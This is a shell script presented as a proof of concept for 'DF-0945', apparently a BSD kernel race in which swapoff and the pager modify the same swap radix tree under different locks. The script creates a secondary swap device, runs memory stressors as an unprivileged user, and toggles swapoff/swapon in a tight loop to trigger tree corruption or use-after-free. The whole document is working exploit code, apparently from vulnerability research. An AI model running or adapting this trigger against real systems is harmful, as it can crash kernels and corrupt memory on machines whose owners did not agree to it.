#!/bin/sh
# DF-0945 PoC orchestrator v3 — two-device race with cyclic pressure.
#
# The race is on the global swapblist radix tree.  swapoff_one() mutates it
# via blist_fill()/blist_resize() under only swap_mtx; the pager mutates the
# SAME tree via blist_allocat()/blist_free() under only vm_token.  Neither
# lock nests the other -> concurrent mutation -> corruption / UAF.
#
# Setup: main swap device (vbd0s1b, large) absorbs bulk pager pressure.
# A small secondary device (vn-backed file) is what root toggles.  Its
# swapoff_one only pages in a little data (so it can actually succeed under
# pressure) but still calls blist_fill + blist_resize on the GLOBAL tree.
#
# Stressors run cyclically (allocate -> dirty -> hold -> free) to create
# alternating pressure/relief windows.  During relief, swapoff can pass its
# memory check and reach the blist mutations.
#
# Usage: run_poc.sh [main_dev] [swapfile_mb] [nstress] [chunk_mb] [seconds]
set -u
MAIN_DEV="${1:-/dev/vbd0s1b}"
SWAP_MB="${2:-128}"
NSTRESS="${3:-1}"
CHUNK_MB="${4:-3500}"
SECONDS_RUN="${5:-240}"

VNDEV="vn1"
SWAPFILE="/tmp/df0945_swap2.img"

# 0. clean slate
swapoff "$MAIN_DEV" 2>/dev/null
swapoff "/dev/$VNDEV" 2>/dev/null
sleep 0.3
vnconfig -u "$VNDEV" 2>/dev/null
rm -f "$SWAPFILE"
sleep 0.2

# 1. activate main swap
swapon "$MAIN_DEV" 2>/dev/null
sleep 0.2

# 2. create + activate small secondary swap device
echo "[*] creating ${SWAP_MB} MB secondary swap on $VNDEV"
dd if=/dev/zero of="$SWAPFILE" bs=1m count="$SWAP_MB" 2>&1 | tail -1
vnconfig -c "$VNDEV" "$SWAPFILE"
swapon "/dev/$VNDEV" 2>/dev/null
sleep 0.3
echo "[*] swap state (both devices):"
swapctl -l

# 3. start cyclic stressors as maxx
echo "[*] launching $NSTRESS stress instances as maxx ($CHUNK_MB MB each, ${SECONDS_RUN}s)"
PIDS=""
i=0
while [ "$i" -lt "$NSTRESS" ]; do
    i=$((i + 1))
    su -m maxx -c "/home/maxx/poc/DF-0945/stress $CHUNK_MB $SECONDS_RUN" &
    PIDS="$PIDS $!"
done

# 4. warm-up: let swap activity ramp up
echo "[*] warm-up: 10 seconds for swap activity to establish..."
sleep 10
echo "[*] current swap state:"
swapctl -l

# 5. toggle the SMALL device in a tight loop — this enters swapoff_one which
#    calls blist_fill/blist_resize on the global tree while the pager
#    concurrently calls blist_allocat/blist_free on the SAME tree.
echo "[*] starting swapoff/swapon toggle on /dev/$VNDEV"
END=$(( $(date +%s) + SECONDS_RUN - 20 ))
ITER=0
SO_OK=0
SO_FAIL=0
while [ "$(date +%s)" -lt "$END" ]; do
    ITER=$((ITER + 1))
    if swapoff "/dev/$VNDEV" 2>/dev/null; then
        SO_OK=$((SO_OK + 1))
    else
        SO_FAIL=$((SO_FAIL + 1))
    fi
    swapon "/dev/$VNDEV" 2>/dev/null
    # status every 200 iters
    if [ "$((ITER % 200))" -eq 0 ]; then
        echo "    [iter $ITER] swapoff ok=$SO_OK fail=$SO_FAIL"
    fi
done
echo "[*] toggle loop done: $ITER iterations (swapoff ok=$SO_OK fail=$SO_FAIL)"

# 6. tear down stressors
for p in $PIDS; do
    kill -TERM "$p" 2>/dev/null
    kill -KILL "$p" 2>/dev/null
done
wait 2>/dev/null

# cleanup secondary device
swapoff "/dev/$VNDEV" 2>/dev/null
vnconfig -u "$VNDEV" 2>/dev/null
rm -f "$SWAPFILE"

echo "[*] final swap state:"
swapctl -l
echo "[*] DONE after $ITER toggle iterations"
